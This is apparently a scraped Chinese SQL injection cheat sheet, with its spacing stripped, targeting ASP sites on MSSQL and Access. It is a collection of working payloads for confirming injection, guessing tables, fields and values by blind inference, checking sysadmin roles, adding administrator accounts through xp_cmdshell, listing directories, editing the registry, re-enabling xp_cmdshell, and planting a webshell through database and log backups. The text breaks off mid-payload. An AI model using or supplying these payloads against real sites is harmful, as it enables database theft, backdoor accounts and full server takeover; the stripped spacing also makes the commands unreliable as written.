SQL手工注入大全------------------------------------------------------------------比方说在查询id是50的数据时,如果用户传近来的参数是50and1=1,如果没有设置过滤的话,可以直接查出来,SQL注入一般在ASP程序中遇到最多,看看下面的1.判断是否有注入;and1=1;and1=22.初步判断是否是mssql;anduser03.判断数据库系统;and(selectcount(*)fromsysobjects)0mssql;and(selectcount(*)frommsysobjects)0access4.注入参数是字符'and[查询条件]and''='5.搜索时没过滤参数的'and[查询条件]and'%25'='6.猜数据库;and(selectCount(*)from[数据库名])07.猜字段;and(selectCount(字段名)from数据库名)08.猜字段中记录长度;and(selecttop1len(字段名)from数据库名)09.(1)猜字段的ascii值(access);and(selecttop1asc(mid(字段名,1,1))from数据库名)0(2)猜字段的ascii值(mssql);and(selecttop1unicode(substring(字段名,1,1))from数据库名)010.测试权限结构(mssql);and1=(selectIS_SRVROLEMEMBER('sysadmin'));--;and1=(selectIS_SRVROLEMEMBER('serveradmin'));--;and1=(selectIS_SRVROLEMEMBER('setupadmin'));--;and1=(selectIS_SRVROLEMEMBER('securityadmin'));--;and1=(selectIS_SRVROLEMEMBER('diskadmin'));--;and1=(selectIS_SRVROLEMEMBER('bulkadmin'));--;and1=(selectIS_MEMBER('db_owner'));--11.添加mssql和系统的帐户;execmaster.dbo.sp_addloginusername;--;execmaster.dbo.sp_passwordnull,username,password;--;execmaster.dbo.sp_addsrvrolemembersysadminusername;--;execmaster.dbo.xp_cmdshell'netuserusernamepassword/workstations:*/times:all/passwordchg:yes/passwordreq:yes/active:yes/add';--;execmaster.dbo.xp_cmdshell'netuserusernamepassword/add';--;execmaster.dbo.xp_cmdshell'netlocalgroupadministratorsusername/add';--12.(1)遍历目录;createtabledirs(pathsvarchar(100),idint);insertdirsexecmaster.dbo.xp_dirtree'c:\';and(selecttop1pathsfromdirs)0;and(selecttop1pathsfromdirswherepathsnotin('上步得到的paths')))(2)遍历目录;createtabletemp(idnvarchar(255),num1nvarchar(255),num2nvarchar(255),num3nvarchar(255));--;inserttempexecmaster.dbo.xp_availablemedia;--获得当前所有驱动器;insertintotemp(id)execmaster.dbo.xp_subdirs'c:\';--获得子目录列表;insertintotemp(id,num1)execmaster.dbo.xp_dirtree'c:\';--获得所有子目录的目录树结构;insertintotemp(id)execmaster.dbo.xp_cmdshell'typec:\web\index.asp';--查看文件的内容13.mssql中的存储过程xp_regenumvalues注册表根键,子键;execxp_regenumvalues'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run'以多个记录集方式返回所有键值xp_regread根键,子键,键值名;execxp_regread'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir'返回制定键的值xp_regwrite根键,子键,值名,值类型,值值类型有2种REG_SZ表示字符型,REG_DWORD表示整型;execxp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello'写入注册表xp_regdeletevalue根键,子键,值名execxp_regdeletevalue'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName'删除某个值xp_regdeletekey'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey'删除键,包括该键下所有值14.mssql的backup创建webshellusemodelcreatetablecmd(strimage);insertintocmd(str)values('');backupdatabasemodeltodisk='c:\l.asp';15.mssql内置函数;and(select@@version)0获得Windows的版本号;anduser_name()='dbo'判断当前系统的连接用户是不是sa;and(selectuser_name())0爆当前系统的连接用户;and(selectdb_name())0得到当前连接的数据库16.简洁的webshellusemodelcreatetablecmd(strimage);insertintocmd(str)values('');backupdatabasemodeltodisk='g:\请求的时候,像这样子用:=dirSQL手工注入大全前提需要工具:SQLQueryAnalyzer和SqlExecSunxVersion1.去掉xp_cmdshell扩展过程的方法是使用如下语句:ifexists(select*fromdbo.sysobjectswhereid=object_id(N'[dbo].[xpcmdshell]')andOBJECTPROPERTY(id,N'IsExtendedProc')=1)execsp_dropextendedprocN'[dbo].[xp_cmdshell]'2.添加xp_cmdshell扩展过程的方法是使用如下语句:(1)SQLQueryAnalyzersp_addextendedprocxp_cmdshell,@dllname='xplog70.dll'(2)首先在SqlExecSunxVersion的Format选项里填上%s,在CMD选项里输入sp_addextendedproc'xp_cmdshell','xpsql70.dll'去除sp_dropextendedproc'xp_cmdshell'(3)MSSQL2000sp_addextendedproc'xp_cmdshell','xplog70.dll'SQL手工注入方法总结(SQLServer2005)2010-01-2816:17---------以下以省略注入点用URL代替--(1)******查看驱动器方法******--建表p(i为自动编号,a记录盘符类似c:\,b记录可用字节,其它省略)URL;createtablep(iintidentity(1,1),anvarchar(255),bnvarchar(255),cnvarchar(255),dnvarchar(255));--URL;insertpexecxp_availablemedia;--列出所有驱动器并插入表pURL;and(selectcount(*)fromp)3;--折半法查出驱动器总数URL;andascii(substring((selectafrompwherei=1),1,1))=67;--折半法查出驱动器名(注asc(c)=67)--上面一般用于无显错情况下使用-------以此类推,得到所有驱动器名URL;and(selectafrompwherei=1)3;--报错得到第一个驱动器名--上面一般用于显错情况下使用-------以此类推,得到所有驱动器名URL;;droptablep;--删除表p--(2)******查看目录方法******URL;createtablepa(mnvarchar(255),invarchar(255));--建表pa(m记录目录,i记录深度)URL;insertpaexecxp_dirtree’e:’;--列出驱动器e并插入表paURL;and(selectcount(*)frompawherei0)-1;--折半法查出i深度URL;and(selecttop1mfrompawherei=1andmnotin(selecttop0mfrompa))0;--报错得到深度i=1的第一个目录名--上面一般用显错且目录名不为数字情况下使用-------(得到第二个目录把top0换为top1,换深度只换i就行)以此类推,得到e盘的所有目录URL;andlen((selecttop1mfrompawherei=1andmnotin(selecttop0mfrompa)))0;--折半法查出深度i=1的第一个目录名的长度URL;andascii(substring((selecttop1mfrompawherei=1andmnotin(selecttop0mfrompa)),1,1))0;--折半法查出深度i=1的第一个目录名的第一个字符长度--上面一般用无显错情况下使用-------(得到第二个目录把top0换为top1,换深度只换i就行)以此类推,得到e盘的所有目录URL;droptablepa;--删除表pa----------------------------经过上面的方法就可得到服务器所有目录(这里为连接用户有读取权限目录)-------------------(3)数据库备份到Web目录(先拿个WebShell再说吧注:此为SQLServer2000)URL;alterdatabaseemploy_setRECOVERYFULL;--把当前库L设置成日志完全恢复模式URL;URL;createtables(limage);--建表sURL;backuplogstodisk=’c:cmd’withinit;--减少备分数据的大小URL;URL;insertsvalues(’’)--在表s中插入一句话马UR